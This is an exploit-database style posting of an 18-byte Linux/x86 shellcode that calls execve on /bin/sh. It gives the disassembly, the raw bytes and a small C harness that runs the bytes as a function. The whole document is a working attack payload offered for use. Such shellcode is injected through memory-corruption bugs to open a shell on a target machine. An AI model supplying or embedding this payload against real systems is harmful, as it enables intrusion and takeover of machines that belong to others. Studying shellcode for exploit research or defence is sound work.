Linux/x86 execve /bin/sh Shellcode (18 bytes)

/*
# Linux/x86 - execve /bin/sh shellcode (18 bytes)
# Author: Anurag Srivastava
# Tested on: i686 GNU/Linux
# Shellcode Length: 18

Disassembly of section .text:

08048060 <_start>:
 8048060:  6a 0b                  push   0xb
 8048062:  58                     pop    eax
 8048063:  53                     push   ebx
 8048064:  68 2f 2f 73 68         push   0x68732f2f
 8048069:  68 2f 62 69 6e         push   0x6e69622f
 804806e:  89 e3                  mov    ebx,esp
 8048070:  cd 80                  int    0x80

===============POC by Anurag Srivastava=========================
*/
 
#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
 
"\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
 
main()
{
 
printf("Shellcode Length: %d\n", strlen(code));
 
int (*ret)() = (int(*)())code;
 
ret();
 
}